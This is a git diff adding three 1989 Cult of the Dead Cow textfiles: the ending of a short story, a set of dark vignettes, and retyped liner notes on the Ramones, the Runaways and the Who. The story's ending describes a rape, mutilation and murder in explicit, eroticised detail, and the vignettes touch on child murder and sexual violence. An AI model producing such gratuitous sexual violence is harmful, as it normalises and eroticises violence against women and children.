+waited.... After a few minutes, an interesting girl walks by. Joe stops her +and talks. + + + "What's yer name?" + "Mindy.... And you?" + "Joe...." + "Oh... hi! So what's been up?" + "Nothing... just being bored...." + "Well, let's do something...." + "Ok, sure.... Let's go!" + + + Joe and Mindy walk around town for awhile holding hands and the like +and finally it's time for Mindy to get going.. + + + "Umm, Joe...." + "Yea?" + "I gotta run...." + "K.... Wanna go out next week?" + "Sure! Here's my number... 555-1212" + "Ok... I'll give ya a call...." + + They kiss... and kiss.... + + + A few days later Joe calls Mindy.. + + + "Mindy?" + "Yea.... Who's this?" + "Joe...." + "Oh hi! How've ya been?" + "Just ducky.... How 'bout you?" + "Umm... ok... I guess." + "Well... ya wanna go out like maybe Thursday?" + "Well... I don't know...." + "How come?" + "Because... umm..." + "Well?" + "This is hard to say... umm, ya see... I've been going out with this +other guy for like 5 months but now we're just seeing each other... Umm.... +I don't know if we should go out...." + "Well thanks!" + +(She hears like a dial tone and gets upset... aww.) + + + Joe is upset... hurt... he thinks... thinks of something he can +do... just to get back at her.... + + On Friday, Joe buys a knife at the local Army/Navy Surplus store. He +goes to Mindy's house and rings the bell.... + + + "Hi Mindy...." + "Uhh... Joe. What are you doing here?" + "Is anyone else home?" + "Umm... no...." + + + Joe forces himself into Mindy's home and locks the door. He pulls the +phone out of the wall and rips off Mindy's clothes. He undresses himself and +mounts Mindy... he begins pumping her while cutting off one of her tits with +his new knife.... She is frantically screaming so he slits her throat and then +pulls his throbbing cock out of her snatch and slides it into the young girl's +bleeding throat. Her nerves are making her shake slightly, turning Joe on even +more.... He continues fucking the hole in her neck while trying to pluck her +eyes out with his new love weapon. One plops out just as he shoots his sperm +down her throat. He pulls his crank out and bites her eye in half.... He +spits it out because of the horrid taste. As he is cutting her chest into +slithers of flesh, a car pulls into the driveway. Joe jumps off of the dead +girl and runs into the kitchen. He proceeds to cut his cock and balls off and +then finally slits his own throat. Mindy's mother enters the house and sees +the disgusting scene. She vomits all over her poor daughter's remains and runs +around screaming and beating Joe with a pan until the police finally arrive. + + -The End- + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Egyptian Alchemist.8/15/88-9/30/89-#117 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0118.txt b/textfiles.com/groups/CDC/cDc-0118.txt new file mode 100644 index 00000000..446016cc --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0118.txt @@ -0,0 +1,109 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... A Moment In Time + by Obscure Images + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +0. + + Just as the scientist can see a fragment of life through a microscope, +I can see random events. Endless moments in time swirling before my eyes just +like so much mist. The images are real to me. I read about some of them in +the newspaper. They aren't my moments, but they are part of me nonetheless. I +have to think.... + +1. + + The man bent down and kissed his daughter on the cheek. "I'll be back +in a few days, dear, be good for your mother." + "Goodbye daddy." + +2. + + The door slammed as the man in the black trenchcoat left the small +house in which he lived. The dogs barked, a cat yowled, and in a house down +the street a camera clicked. + +3. + + In the woods outside of a small town in Pennsylvania the leaves are +rustled by a small boy running. The boy, clad only in his underwear, was +panting, his face turning a bright shade of red. Not as red, however, as the +wound he was about to receive when his father shot him in the back less then 30 +seconds later. + +4. + + The tall man watched his young daughter run back into the house before +getting into his car. The fireball that erupted from his house flashed in his +eyes as he drove down the street. + +5. + + The camera is always watching. Liz ignored the constant clicking that +came along with sex with her husband. "The sex is great, but I wish he would +get rid of the whip," she thought as he put the camera down and came to bed. + +6. + + The father carries the dead little boy back to the car and puts him in +a garbage bag that he will throw into the furnace when he gets to work. + +7. + + The man in the black trenchcoat steps off of the bus onto the busy +sidewalk. He walks for 2 blocks where he enters a building, gets into the +elevator, gets off at the 5th floor, walks into his office, takes off his +trenchcoat, and sits down at his desk. "Delores, could you get me some +coffee?" + +8. + + Finally satisfied, Larry falls asleep. Liz climbs out of the bed and +goes to the bathroom to wash herself off. The blood swirls down the shower +drain, mixing with water and semen. "He was better then usual tonight, I +wonder if he got a promotion." + +9. + + A moment in time is full of more things then a person could ever hope +to live through. All one can do is take his or her piece of that time and use +it until it is burnt out and gone. When you are out of time, you will do what +you must, liking it or not. It is impossible to tell when you will have +exhausted your time on this planet, so spend your time as well as possible. +You only have one moment, make it a bright one. + + ------------------------------------------------------------------------------ + This story is for Dina who understands me less then she could ever imagine. + -oi + _ _ _____________________________________________________________________ +/((___))\|The Convent..........619/475-6187 The Dead Zone.........214/522-5321 + [ x x ] |Demon Roach Undrgrnd.806/794-4362 Greenpeace's IGB......916/673-8412 + \ / |PURE NIHILISM..........new # soon Ripco.................312/528-5020 + (' ') |Tequila Willy's GSC..209/526-3194 The Works.............617/861-8976 + (U) |===================================================================== + .ooM |(c)1989 cDc communications by Obscure Images. 09/30/89-#118 +\_______/|All Rights Pissed Away. + diff --git a/textfiles.com/groups/CDC/cDc-0119.txt b/textfiles.com/groups/CDC/cDc-0119.txt new file mode 100644 index 00000000..e203a50b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0119.txt @@ -0,0 +1,657 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Retrospective Rock + Ramones, The Runaways, and The Who + + typed by The Pusher + + >>> a cDc publication.......1989 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Ramones +From the liner notes of "RamonesMania" by Billy Altman + + August 1974, Washington, D.C. An entire country watches as Richard +Milhous Nixon, 37th President of the United States, steps aboard a waiting +helicopter and vacates the White House. News of the Nixon resignation fills +newspaper pages and television and radio broadcasts the world over. From this +moment forward, politics will never again be the same. + + August 1974, New York City. Scattered Bowery residents pay little notice +as four young men from Forest Hills, Queens, enter a small club called CBGB in +Manhattan's Lower East Side. The owner, Hilly Kristal, isn't sure if this +strange-looking group - identically dressed in leather jackets, T-shirts, +ripped jeans, and sneakers, and calling themselves the Ramones - are the ones +who are supposed to be auditioning for a gig or just a bunch of hoodlums who've +come to fence stolen musical equipment. They take to the stage and play a set, +but even after they're through, Kristal still isn't sure if they're a real band +or just a bunch of hoodlums. All of their songs are very loud, very short, and +very fast. In fact, the only thing separating them are the bass player's +shouts of "1-2-3-4" during the milliseconds in which they stop. He decides to +book them anyway; business is bad. Their first public performance draws no +attention from newspapers, radio, or television, and, in point of fact, is +witnessed by a grand total of five warm bodies - six if you count the +bartender's dog. No matter. From this moment forward, rock & roll will never +again be the same. + + As the great philosopher Marx (that's either Karl or Groucho) once said, +"Revolutions begin with ideas," and the revolution known as punk, ignited by +the band known as the Ramones, began when four members of the New York division +of the worldwide force known as disenfranchised youth realized that they shared +some very basic ideas concerning music and culture. As Joey Ramone once +explained it, "We decided to start our own group because we were bored with +everything we heard. In 1974, there was nothing to listen to anymore. +Everything was tenth-generation Led Zeppelin, tenth-generation Elton John, or +overproduced, or just junk. Everything was long jams, long guitar solos. We +missed music like it used to be before it got 'progressive.' We missed hearing +songs that were short, exciting, and GOOD! We wanted to bring the energy back +to rock & roll." And though, in their formative stages, they might not have +displayed an abundance of what some might call "chops," the Ramones quickly +discovered that, as a unit, they possessed a warehouseful of other qualities +which, perhaps even more than music, have helped define rock 'n' roll +throughout its history. Qualites like energy. And attitude. And passion. + + At their first rehearsals, the band tried to play songs by the artists +they liked most- Gene Vincent, Eddie Cochran, The Beatles, the Beach Boys, the +Kinks, the Stooges, MC5, Alice Cooper, Slade- but recalled Johnny, "we just +couldn't figure them out, so we decided to try and write our own, and we had to +make them basic enough so we could play them." That they did and, in the +process, rock & roll was re-invented. Having found the old textbooks unusable, +the Ramones simply created their own. They wrote about alienation ("Now I +Wanna Sniff Some Glue") and isolation ("I Don't Wanna Walk Around With You)" +about the power (Blitzkrieg Bop") and the fury ("Today Your Love, Tomorrow the +World") of untamed youth, and about life on the mean streets ("53rd & 3rd"), +and in the last house on the left ("I Don't Wanna Go Down to the Basement"). +Their songs were often funny, often hysterically so, who could keep a straight +face envisioning all 6'3" of Joey Ramone stepping up to the plate to "Beat on +the Brat" with a baseball bat? Yet their humor was adroitly counterbalanced by +a ferociously serious musical attack, made up of Johnny's buzzsawing, no +time-for-solos guitar (Pusher Note: More like no talent-for solos guitar), Dee +Dee's pinpoint (and hell-bent) bass, and Tommy's "all meat, no filler" four +on-the-floor drumming. + + The Ramones weren't the only alternative band on the New York scene during +those fateful days of '74 and '75. There were those who'd come before, like +the glittery New York Dolls from St. Mark's Place, the boys-will-be-boys +Dictators from the Bronx, and the priestess from New Jersey, Patti Smith. And +there were those who emerged alongside them. The Neon Boys, Tom Verlaine and +Richard Hell who split up to form (respectively) Television and the Voidoids, +the art school refugees Talking Heads, and the pop-aspiring Blondie. And they +all met at such unlikely shrines as the aforementioned CBGB and the old Warhol +hangout, Max's Kansas City. No one ever got up and officially proclaimed this +motley crew of musical misfits as a movement. But as they began to draw +increasingly larger audiences- audiences made up of people who, like them- +selves, were bored with the music on their radios, and in their record stores- +and as the critics began chronicling their exploits and singing their praises +in print, a movement was indeed nurtured. Eventually it was given a name, +Punk. And no band symbolized it better than the Ramones. + + The group never campaigned to be the spokespersons of punk, but as their +following swelled, and record companies began to sniff around, the band's image +and style became issues of controversy. While the Ramones fancifully thought +of themselves as a nouveau bubblegum band with guts, most music industry +executives saw their twelve song 20-minute bursts of newspeak as a violent +threat to the status quo, and many nervous jokes were made at their expense ("I +would've walked out on them," one company president said, "but they were +finished before I could get up.") By the end of 1975, though, the Ramones had +a recording contract with Seymour Stein's Sire Records, and it was their +signing that paved the way for the rest of New York's- and ultimately +the nations- punk and new wave bands. Their debut album, recorded for the +incredibly low sum of $6000 and featuring 14 songs crammed into less than 30 +minutes, exhilarated many, shocked more than a few and, in general, caused +quite a stir upon its release in early 1976. While critics raved, radio +programmers scratched their heads. What would their ad-conscious station +managers say if they played a song whose only lyrics were, "You're a loudmouth +baby/ You better shut it up/ I'm gonna beat you up/ Cause you're a loudmouth +baby"? The right people, though, got the joke- and the point- of the Ramones' +music. As summer arrived, the clarion call of "Hey ho, let's go!" was being +sounded not only all across the U.S. but overseas as well. It somehow seemed +fitting that on the Fourth of July of 1976- the exact day of the American +Bicentennial- the Ramones stood on a stage in London, England, and proclaimed +rock & roll's new declaration of independence to an audience composed of the +future members of the Sex Pistols, the Clash, the Damned, Generation X, and, +indeed most of what would soon be the core population of the British punk +scene. + + Early in 1977, the group released their second album, Ramones Leave Home, +another fun-filled excursion into the realms of unconsciousness ("Carbona Not +Glue"), self-mutilation ("Suzy Is A Headbanger"), electroshock therapy ("Gimme +Gimme Shock Treatment"), and freelance military activity ("Commando"). And, of +course, "Pinhead." Partially inspired by the scene in Todd Browing's classic +'30s horror film, Freaks, in which the title circus sideshow characters welcome +a "normal" into their ranks, the cry of "Gabba gabba/ We accept you/ We accept +you/ One of us" became the official slogan of the House of Ramones, the +supreme howl of liberation for rock's underclass of punks and new wavers. Hot +on its heels that spring came "Sheena Is a Punk Rocker," an infectious, +anthemic tribute to the band's fans and their beloved hometown, and as the +single made its way onto the Top 100 charts, its success served warning that +the Ramones were well on their way to becoming a commercial, as well as +artistic, force to be reckoned with. + + Rocket to Russia, released near the end of 1977, more than made good on +that warning, for it established the stance, the philosophy, and the viability +of the Ramones as never before. The bone-crunching muscularity of their live +sound was finally captured accurately in the studio by producers Tony Bongiovi +and Tommy (T.Erdely) Ramone, and engineer Ed Stasium. Songs like "Cretin Hop" +and "Teenage Lobotomy" (Now I guess I'll have to tell 'em/ That I got no +cerebellum) showed that the Ramones' wit was waxing ever sharper, while "Here +Today, Gone Tomorrow" and "We're A Happy Family" (We ain't got no friends/ Our +troubles never end/ No Christmas cards to send/ Daddy likes men") displayed +a bite as sharp as the bark. And with the glorious, Beach Boys-styled chart +single "Rockaway Beach", the Ramones proved conclusively that "Sheena" was +indeed no fluke, that they could merrily rock out with anyone, anytime. + + 1978 found the band crisscrossing the U.S. on their first full-scale +national tour as a headlining act, but at a price- a physically and emotionally +drained Tommy announced at tour's end that he was leaving the band to +concentrate on producing. His place was taken by Voidoid Marc Bell (known +from that day forth as Marky Ramone). Road to Ruin, the group's first record +with their new drummer, found the Ramones expanding their horizons while +consolidating their by now prodigious strengths. Tracks such as "Go Mental" +and "I Just Wanna to Have Something To Do" struck with the savage efficiency +expected of the world's hardest-rocking punk band, while the rollicking "I +Wanna Be Sedated" and a strikingly poignant cover of the Searcher's British +Invasion classic, "Needles and Pins," (showcased here in its specially remixed +1979 single release form), once again underscored the fact that the Ramones +could be as commercial as ABBA so long as the game was played on their own +turf. Between these tunes and such heretofore uncharacteristic songs as the +country-flavored "You Don't Come Close" (complete with- ahem- guitar solo) and +the haunting ballad, "Questioningly," it was clear that the Ramones, secure +with past accomplishments as leaders of a worldwide revolution, were now ready +for an internal evolution. + Tabbed by film director Allan Arkush to guest star in a Roger Corman +-produced movie about life in America's secondary school system (Corman had no +previous knowledge of the band, but gave them the nod when Arkush showed him +the Cormanesque "Mutant Monster Beach Party" action comic issue of PUNK +magazine which featured Joey as the behemoth-battling, surfin' safari-ing +hero), the Ramones finished 1978 in Hollywood making their celluloid debut +in- and supplying the theme song for- Rock 'n' Roll High School, in which they +led the dedicated students of Vince Lombardi High in that time-honored +tradition of blowing up the school at the end of the term. While in +California, the band was approached by legendary record producer Phil Spector, +who expressed his desire to work with them. The following spring, the band +returned to Los Angeles to record under Spector's supervision at the famed Gold +Star Studios, site of all those Crystals, Ronettes, and Righteous Brothers +classics. True to his word, Spector succeeded in giving the Ramones his +patented "wall of sound" treatment, as evidenced by "Do You Remember Rock 'n' +Roll Radio," a cascading, swirling salute to rock & roll's inspirational past, +"Danny Says" (featuring the world's loudest acoustic guitar), and "Chinese +Rock," a dark tale of hard times on Manhattan's Lower East Side. + + Over the course of the next few years, the Ramones continued to experi- +ment, broadening the range of both their material and overall sound. With +former 10CCer and British Invasion hit songwriter Graham "Bus Stop" Gouldman at +the controls, 1981's Pleasant Dreams brought out the more pop-orientated facets +of the band's musical personality without any loss of identity. After all, +only the Ramones could have you blissfully humming along the chorus of "The +KKK Took My Baby Away" or giddily grabbing the nearest blunt object with which +to smash your radio to smithereens ("We Want the Airwaves"). Likewise, 1983's +Subterranean Jungle, produced by Ritchie Cordell- uberlord of all those +wonderful Tommy James and the Shondells records, and composer of the eternal +teen mating call "I Think We're Alone Now"- saw the band adding a glistening +shine to their music, reflected brightly on such jet-propelled fireballs as +"Psycho Therapy" and "Outsider". And those bubblegum roots which were always +implicit in the band's work finally emerged with the recording of "Little Bit +o'Soul" and the Cordell co-authored "Indian Giver" (originally released solely +as a B-side in the U.K. and presented here in album form for the very first +time.) + The summer of 1983 marked yet another turning point in the Ramones' +career. After more than 5 years of virtually incessant worldwide touring, the +band was forced off the road for a spell due to a variety of reasons (Joey and +Johnny were both hospitalized for illnesses, and Marky left the band to attend +to personal matters). When they emerged, with new drummer Richie (Beau) Ramone +on board, it was with a renewed and recharged sense of purpose. Incorporating +the fiercest aspects of both the punk rock they'd originated and the +hardcore/speed metal genres they'd laid the groundwork for, 1984's Too Tough To +Die (produced by old hands Tommy (Ramone) Erdelyi and Ed Stasium) answered any +possible doubts about the band's rightful place as keepers of rock & roll's +white-hot flame. From the rockabillying "Mama's Boy" to the breakneck-paced +"Warthog" (the latter featuring a rare vocal by Dee Dee), and from the +shoulda-been-a-hot-catchiness of "Howling at the Moon" (produced by Eurythmics' +Dave Stewart) to the disarmingly heartfelt "I'm Not Afraid of Life", Too Tough +to Die was a towering reaffirmation of the Ramones' rock & roll principles. +Animal Boy (1986, produced by former Plasmatic, Jean Beauvoir), continued the +band's resurgence. And among the album's many gems, like the headbanging title +track and the ominous "Somebody Put Something in My Drink", came graphic +evidence of the Ramones' growing maturity, in the form of the politically +active "Bonzo Goes to Bitburg", a song takes dead aim at a certain +actor-turned-President we all know. + + With 1987's Halfway to Sanity- represented here by the affirmative- +actioned "I Wanna Live" and the appropriately frantic "Bop Til' You Drop"- and +with the appearance of this collection, the Ramones commemorate two rather +significant milestones. They have, at this point, contributed ten studio +albums's worth of might fine music to the world, and they are celebrating (with +Marky Ramone back in tow, we might add) their 15th year as a working rock & +roll band. A decade and a half after their humble beginnings at the corner of +Bleecker and the Bowery, much of what fills the air on radio stations and the +racks of record stores, is STILL tenth-generation Led Zeppelin, tenth- +generation Elton John, or overproduced, or just junk. So long as the Ramones +continue to soldier on, however, there will also still be a living, breathing +entity known as rock & roll. And something to believe in. + + ______________________________________________________________________________ + ------------------------------------------------------------------------------ + +The Runaways +From the liner notes of "The Best Of The Runaways" by Len Epand + + January 1976. Hardly rock 'n' roll's proudest moment. America's pop Top +10 drifts aimlessly in the Me Decade, awash with MOR flotsam and disco jetsam. +What little rock 'n' roll succeeds in poking through probably attracts scant +attention in rock 'n' roll heaven: The Bay City Rollers and Sweet are more on +the level of confection or novelty, not unlike, say, C.W. McCall, whose +"Convoy" is serious business. In short, the charts offer little that's potent, +important, tough 'n' honest. Interviewing Joan Jett, the emerging head of the +Runaways, for a magazine's update on the group as they finish recording their +second album in L.A., I note the state of pop radio and ask how she likes the +gestating New York CBGB scene and acts like Patti Smith, Blondie, Television, +the Ramones, et al. For there is a sort of connection - they're all sparks in +a rock 'n' roll renaissance, new voices making some noise. + + "It's about time some fun kind of music came back," Joan asserts. "We +want to get some other kind of music in there 'cause every time I turn on KHJ +[then L.A.'S reigning Top 40] I can't listen to it for more than 10 minutes. +'Cause it's the same kind of music over and over, disco, pop, and... if they'd +just throw something in there once in a while! I think a lot of people want to +hear it." + + April 1982. A lot of people do want to hear it, and they keep Joan Jett's +first single from her second solo album on Boardwalk Records, "I Love Rock 'n' +Roll," number one for seven weeks. Unfortunately, KHJ, on which Joan very +much wanted to be heard, has long retired into a country format. But Joan is +heard on Top 40 stations as well as FM album rock radio, and her song stands as +an anthem. It's all more triumphant-sounding when you know what went before +it. From the critical lambasting the Runaways suffered (ROLLING STONE still +refers to them as "Kim Fowley's quintet of teen teasers"), the group's failure +to succeed in the U.S. (in Japan they were superstars), and the fact that the +other Runaways twice refused Joan's plea to record the song, to the lengthy +string of rejections Joan Jett's first solo album elicited from major labels. +"I Love Rock 'n' Roll" exemplifies the winning style Joan has forged with +produced/manager Kenny Laguna. It's a heavy metal approach to pop that might +lapse into bubblegum were it not for Joan's sensibility, which is very much +punk. + + The origins of Joan's style are here to be relived in The Best Of The +Runaways. With a directness previously unheard from women in rock, the +Runaways belted out statements of teen rebellion. Lady James Deans, if you +will. Teenagers themselves, they championed for their g-g-generation the +glories of rock 'n' roll, late night partying, and sex, but the archetypal +emphasis was on living to the max, true to your passions. And of course in a +middle class world this meant being "bad." And fairly often - as in most of +the tracks selected for this set - they expressed this most devastatingly in +writing and performance. The Runaways played loud, hard, heavy, and... well. +The rhythm section of Sandy West (drums), Jackie Fox (bass) and later Vicki +Blue (bass), and Jett (rhythm guitar) cooked, and provided a great foundation +for Lita Ford's adept and aggressive lead guitar playing, which ambitiously +reached for Jeff Beck/Jimmy Page heights. + + The Runaways moxie shocked many (including some critics?). But it also +changed some male-female stereotypes, and spoke for a whole lotta girls, some +of whom consequently turned to playing rock 'n' roll too. Arguably, the +Runaways made possible Chrissie Hynde, Pat Benatar, the Go-Gos, Girlschool, and +countless others. + + If that end justifies the means, one cannot fault the Runaways for the way +they were formed, produced and "directed" - largely by Hollywood Argyle- +turned-rockmeister Kim Fowley. Fowley, it seems to me, was more catalyst than +Svengali. Most of the Runaways were very talented, and when they came to +Fowley they were rockers looking to happen, not seals looking to be trained. + + The beginning predates Fowley, actually. It goes back to 1974 when +14-year old Joan Jett trailed Suzi Quatro around Hollywood's Continental "Riot" +House. Quatro, though Detroit bred, was one of the several glitter-pop stars +(Gary Glitter was another) who became the rage in England in the early 70's but +could barely get arrested in the U.S., except to fans like Joan. As she +explained her Quatro fixation to me, "I didn't like [early 70's all-women +groups] Fanny or Isis. They didn't really do it - play rock 'n' roll." In +1975, Joan and friend Kari Krome approached Fowley to help them form a band. +Fowley, the story goes, told them if they could find one more he'd do it. Soon +after Joan and Kari met Sandy West in the Rainbow Bar parking lot... and Kim +went to work. First he determined that Krome was okay as a lyricist but not as +a singer, and proceeded to bring in Mickey Steel (quickly replaced by Jackie), +Lita, and a vocalist Cherie Currie, whom he found at a San Fernando Valley teen +club called the Sugar Shack. + + After rehearsing them, Fowley signed them to Mercury, and produced THE +RUNAWAYS. Like most first albums it was raw like the ch-ch-cherry bomb of the +opening track, "Cherry Bomb" (which by the way was the sort of number that +tagged them as Jailbait Rock. Consider such lines as "Hey street boy...I'll +give you some/to live for/Have ya, grab ya, 'til yo're sore"). Definitely not +the stuff of Queen/Yes/Genesis-styled opuses, the music prevailing on album +rock radio in the mid-70's. QUEENS OF NOISE, the second LP, wasn't exactly +subdued, but its songs and production were far more refined, with Earle Mankey +(Sparks, the Beach Boys) brought in to co-produce. By this LP, Joan's sphere +had grown more dominant. Previously, she'd written or co-written much of the +Runaways' best material, now she sang most of it, too. Yet, the Runaways +persisted as a group effort, and this is evidenced on their Live In Japan LP, +an LP never released in America but represented here by "You Drive Me Wild", +and "Queens of Noise." + + Back in the U.S. in 1977, the girls cut their third Fowley-produced studio +LP, WAITIN' FOR THE NIGHT. It was pretty much Joan's record, considering that +both Cherie and Jackie earlier had left the band, and only Jackie had been +replaced (by Blue). Once again, the Runaways propounded their essential +pop/metal/punk style, but American radio refused them again, now lumping them +with the Sex Pistols, Clash, Jam, and whatever as an excuse not to admit that +times had changed. + + Still, Joan, Lita, Sandy, and Vicki clung together, and in 1978 they +parted ways with Kim Fowley and, since their deal was tied to Fowley, Mercury. +In now was Suzi Quatro and Blondie's manager at the time, Toby Mamis. It was +Mamis' inspired idea to offer the group to producer Kenny Laguna, but Laguna, +Joan's current mentor, turned them down! Mamis then turned to ex-Thin Lizzy +producer John Alcock, and they cut AND NOW...THE RUNAWAYS!, as it was titled in +Europe (The LP wouldn't find release in North America until 1981, when Rhino +Records put it out as LITTLE LOST GIRLS). It was during these sessions that +the difference set in that would tear them apart, with Lita and Sandy on one +side (heavy metal), and Joan on another (punk). Vicki Blue, meanwhile, was +sidelined with a medical condition (not drugs), leaving Lita to record many of +the bass parts on the album. For their remaining gigs, they replaced Blue with +Laurie McCallister. But McCallister would leave shortly to form the Runaways- +like Orchids (who released one LP on MCA). Yet the final bizarre twist in the +story came in the months before the Runaways' total dissolution in early 1979. +Joan ended up fulfilling an obligation to film the Runaways movie (!). Called +"We're All Crazy Now", it would star Joan with actresses playing her fellow +bandmates. The movie, thanks to Joan's current success but much to her +chagrin, may find release in late 1982. In the meantime, it sits vaulted away. +The Runaways' records, thankfully do not. + + And where are the Runaways now? +Joan: Well accounted for here and in journals everywhere. +Lita: About to release her debut with the Lita Ford Band, a metal outfit also +featuring Neil Merryweather on bass. +Cherie: Acting in films. Did "Foxes" and recorded one poorly received LP with +sister Marie called MESSIN' WITH THE BOYS. See Vicki. +Sandy: Rehearsing the hard rock Sandy West Group to begin playing the Hollywood +club scene. +Jackie: Last reported to be working for a motivational therapy organization, +after having toiled in record promotion. +Vicki: Recording with Cherie in the Currie Blue Band, after having recorded one +unreleased LP. + +Epitaph: +"I think the Runaways were just too honest." + - Joan Jett, New Musical Express, April 1982. + + ______________________________________________________________________________ + ------------------------------------------------------------------------------ + +The Who +From the liner notes of "Who's Better, Who's Best" by Richard Barnes + + + The Who's 20-year career saw them progress from school mates jamming at +the Acton Congregational Church Hall to become The Greatest Rock Band In The +World. During those two erratic and spectacular decades they produced a series +of records which include many of the greatest-ever classics in rock and pop +history. + + Pete Townsend, Roger Daltrey, and John Entwistle attended Acton Grammar +School in West London. Entwhistle could already read music but Townsend +admitted he'd been 'buggering about for guitar for years getting nowhere'. +They joined Roger Daltrey's group - the Detours, which two years later they +renamed the Who. Their next incarnation, from long-haired R&B group to +short-haired mods, brought another short-lived name change, to the High +Numbers, and a new drummer - Keith Moon. After a 'mod single' flopped, they +reverted to the Who. + + By late 1964 through word-of-mouth and sheer hard work the Who had +attracted great interest plus a large, loyal following and were ready to make +another record. A demo of their song, this time written by Townsend, was +played over the phone to record producer Shel Talmy. He saw them play and +found them '...funky, loud, raw, but they had balls...I loved them the moment I +heard them.' + + I CAN'T EXPLAIN was released in early 1965. The Who had been regularly +playing Tuesday (the duff night) at Soho's Marquee Jazz Club transforming it +into a packed-out 'Maximum R&B' success. This led to a live TV appearance on +Ready Steady Go. A pre-arranged "spontaneous outburst" at the end of their +song by Who fans in the studio audience caused a rumpus, drawing viewers' +attention to the group. It worked and next week the record charted at no. 28, +eventually making no. 8. + + I CAN'T EXPLAIN is a great pop classic. It's brilliantly held together by +a tight funky guitar riff. Moon's drumming is like well-timed snatches of a +hammer-gun. Daltrey's voice slurs against the high dreamy backing voices of +the Ivy League. As first records go, it was miles better than either the +Beatles or the Stones. + + Much of the Who's breakthrough was due to their very devoted Mod cult +following plus the heavy airplay they got from pirate stations, Radio Caroline +and Radio London. By 1965, Melody Maker described their attitude and music as, +"defiant!... their sound is vicious." + + The Who were THE loudest group and ended their sets by systematically +destroying their equipment. Townsend would violently shove his guitar through +the speakers, or hammer his Rickenbacker on the floor to get electronic +feedback. He'd use the mike stand on it as if playing violin to get more +strange effects. + + Moon would 'take it out' on his drum kit in sympathy, then set about +anything left. Daltrey would scrape the mike over the cymbals creating a +wrenching sound, while Entwhistle, ignoring the mayhem, would keep still, +calmly playing on, protecting his bass, and acting as anchor to the others. +Surrounded by smoke and a debris of fused smoldering amps, buzzing speakers, +smashed guitars, and battered drums, they'd walk off. + + They were a highly 'visual' group - Moon continually twirling and hurling +drumsticks as he played. Townsend spinning his arm like a windmill smashing at +the strings, and Daltrey swinging his mike around like a lasso. The NME's +Roy Carr said, "It was like seeing a piece of pure energy, pure raw energy." + + An attempt was made to capture their live sound on their next record. +When ANYHOW, ANYWAY, ANYWHERE was released in May 1965, Decca at first returned +the tapes assuming the feedback was a technical fault. It reached no. 10 and +was described as a 'Pop Art' single now that the group had moved on to wearing +clothes plastered with Pop images such as targets, chevrons, and flags inspired +by 60's Pop artists. + + The next single was a monster and shot the Who straight into the +limelight, propelling the articulate, intelligent and verbose Townsend even +further as semi-official spokesman for pop music and the young. MY GENERATION, +the legendary Who anthem released in November 1965, had the most fantastic +heavy pounding bass riff. It's about a stuttering piled-up mod telling the +older generation to F-F-F-Fade Away (or words to that effect), and has the +provocative line "Hope I die before I get old." It went straight into the +British charts at no. 16 and despite being initially banned by the BBC reached +no. 2. It's still a f-f-fading great record today. They released their first +album, also called MY GENERATION a month later. + + SUBSTITUTE (March 1966) was yet another powerful classic and a brilliant +follow-up single. The great 'Plastic spoon' lyrics, are mugged along once more +by Entwhistle's superb deep, rich, overloud power-bass. + + SUBSTITUTE was produced by Townsend himself as the Whowere now attempting +to break from their record deal with Shel Talmy. The very same day, Decca +released another Who track confusing the market. Despite injunctions and +seizures, Substitute reached no. 5 staying in the charts for 13 weeks. + + Later that year the band again had two competing records out at the same +time. THE KIDS ARE ALRIGHT was released two weeks later before I'M A BOY, on a +rival label. Moon was particularly praised on THE KIDS ARE ALRIGHT for "one of +the most sublime drumrolls in rock." It charted at 41. I'M A BOY, with its +Beach Boys vocals, rose to the top of the Melody maker Top Fifty (In the NME +it only managed No. 2 - beaten by JIM REEVES' Distant Drums). In December +their second album, A QUICK ONE was released. + + HAPPY JACK, released December 1966 in the UK and March 1967 in the US was +the Who's first American breakthrough reaching 24 in Billboard and selling over +300,000 copies. It got to no. 3 in the UK. PICTURES OF LILY (April 1967) hit +trouble too as it was thought to be about masturbation and banned by many US +radio stations. It got to no. 5 in the U.S. As Townsend remarked later - +PICTURES OF LILY, I'M A BOY, and HAPPY JACK, had "the strange attraction of +being 'sweet songs' sung by a violent group." + + In 1967 they played the Monterey Pop Festival, followed by seven weeks of +havoc on the U.S. Herman's Hermits tour. Moon celebrated his 21st birthday at +Decca's party in Flint, Michigan by ruining several cars with fire-extinguisher +foam and diving into an empty swimming pool, smashing his front teeth. The +$15,000 or so damages were paid by a tour whip-round (including Herman). The +Who were banned - their first - from Holiday Inns worldwide. + + I CAN SEE FOR MILES. An obvious masterpiece. Though released in October +1967, it had been written much earlier and held in reserve. When it failed to +reach no. 1 in Britain, Townsend was 'crushed' (it reached no. 10 and 9 in +the U.S.). The slightly sinister sound, Moon's timing, Townsend's one-note +solo: Critic Dave Marsh enthuses, "...it's quite simply the most exciting piece +of music the Who ever recorded." + + A month later they released the album THE WHO SELL OUT - considered pure +pop at its very best - a tribute to the recently outlawed pirate radio stations +including the actual jingles from the late Radio London. + + In September 1968 they released MAGIC BUS with its simple Bo Diddley-like +guitar. It got to no. 26 